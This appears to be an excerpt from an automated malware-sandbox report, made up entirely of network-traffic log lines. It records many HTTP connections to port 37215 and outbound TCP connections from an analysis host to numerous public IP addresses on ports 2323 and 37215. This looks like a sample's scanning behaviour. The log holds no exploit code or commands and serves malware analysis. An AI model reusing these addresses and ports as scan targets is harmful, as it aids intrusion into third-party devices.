Source: unknown	Network traffic detected: HTTP traffic on port 34042 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40546 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45260 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59766 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46012 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43074 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39038 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41710 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58296 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45960 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58374 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51990 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45074 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54896 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45898 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47156 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36416 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33766 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34028 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33920 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54562 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55930 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55776 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45310 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55822 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37198 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48310 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50724 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36630 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52746 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45100 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34232 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57128 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33260 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59210 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39194 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42352 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53724 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43008 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41200 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47878 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52212 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39456 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58018 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35562 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37760 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59128 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51082 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38542 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34058 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48334 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42716 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47426 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47346 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40960 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37694 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45164 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42578 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41552 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57812 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43058 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41990 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33672 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33210 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41360 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43710 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41574 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37880 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50322 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35628 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54384 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42934 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57548 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34560 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46090 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39464 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45290 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33442 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40690 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46146 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52568 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58524 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52994 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38838 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52930 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35688 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56104 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34424 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45864 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42822 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58232 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40058 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49424 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44456 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38042 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59562 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60054 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56476 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34156 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41494 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50966 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37504 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57552 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35410 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51730 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41166 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60322 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48078 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53814 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48046 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55290 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41046 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44006 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53486 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60156 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38372 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49562 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37368 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44028 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35308 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57350 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54142 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44202 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46446 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57930 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35202 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33198 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43098 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34282 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45898 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34562 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41576 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49358 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53464 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48998 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36788 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43990 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38870 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40296 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35142 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46330 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33640 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52416 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47372 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45966 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40664 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58864 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57300 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42912 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46102 -> 37215

Source: global traffic	TCP traffic: 192.168.2.14:4833 -> 19.212.23.128:2323
Source: global traffic	TCP traffic: 192.168.2.14:4833 -> 67.206.244.155:2323
Source: global traffic	TCP traffic: 192.168.2.14:4833 -> 152.183.125.215:2323
Source: global traffic	TCP traffic: 192.168.2.14:4833 -> 209.9.141.12:2323
Source: global traffic	TCP traffic: 192.168.2.14:4833 -> 164.104.163.42:2323
Source: global traffic	TCP traffic: 192.168.2.14:4833 -> 18.30.246.16:2323
Source: global traffic	TCP traffic: 192.168.2.14:4833 -> 202.107.75.62:2323
Source: global traffic	TCP traffic: 192.168.2.14:4833 -> 160.225.3.89:2323
Source: global traffic	TCP traffic: 192.168.2.14:4833 -> 154.119.121.135:2323
Source: global traffic	TCP traffic: 192.168.2.14:4833 -> 158.79.131.173:2323
Source: global traffic	TCP traffic: 192.168.2.14:4833 -> 145.150.251.97:2323
Source: global traffic	TCP traffic: 192.168.2.14:4833 -> 27.214.85.5:2323
Source: global traffic	TCP traffic: 192.168.2.14:4833 -> 44.20.145.126:2323
Source: global traffic	TCP traffic: 192.168.2.14:4833 -> 76.164.84.170:2323
Source: global traffic	TCP traffic: 192.168.2.14:4833 -> 1.149.19.207:2323
Source: global traffic	TCP traffic: 192.168.2.14:4833 -> 27.81.211.2:2323
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.223.76.128:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.164.23.128:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.42.97.189:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.181.5.130:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.212.37.47:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.101.8.217:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.69.184.15:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.197.244.29:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.9.19.35:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.45.148.89:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.12.238.176:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.82.16.126:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.122.174.144:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.185.236.65:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.135.218.72:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.98.94.204:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.146.167.175:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.204.201.19:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.164.122.124:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.183.11.39:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.7.119.130:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.39.77.74:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.249.78.239:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.211.166.247:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.198.128.222:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.107.38.254:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.110.52.200:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.218.170.223:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.146.206.253:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.206.23.158:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.212.205.129:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.198.30.156:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.132.222.235:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.102.52.117:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.233.106.32:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.79.77.68:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.31.225.2:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.119.212.153:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.253.95.85:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.231.247.81:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.153.87.52:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.53.179.243:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.100.125.226:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.173.33.37:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.71.163.79:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.200.15.170:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.244.190.25:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.33.156.0:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.168.203.29:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.202.235.113:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.126.40.159:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.146.192.174:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.87.144.104:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.214.36.137:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.176.158.71:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.197.175.23:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.39.13.206:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.30.67.169:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.134.195.220:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.145.255.210:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.60.157.78:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.157.48.250:37215
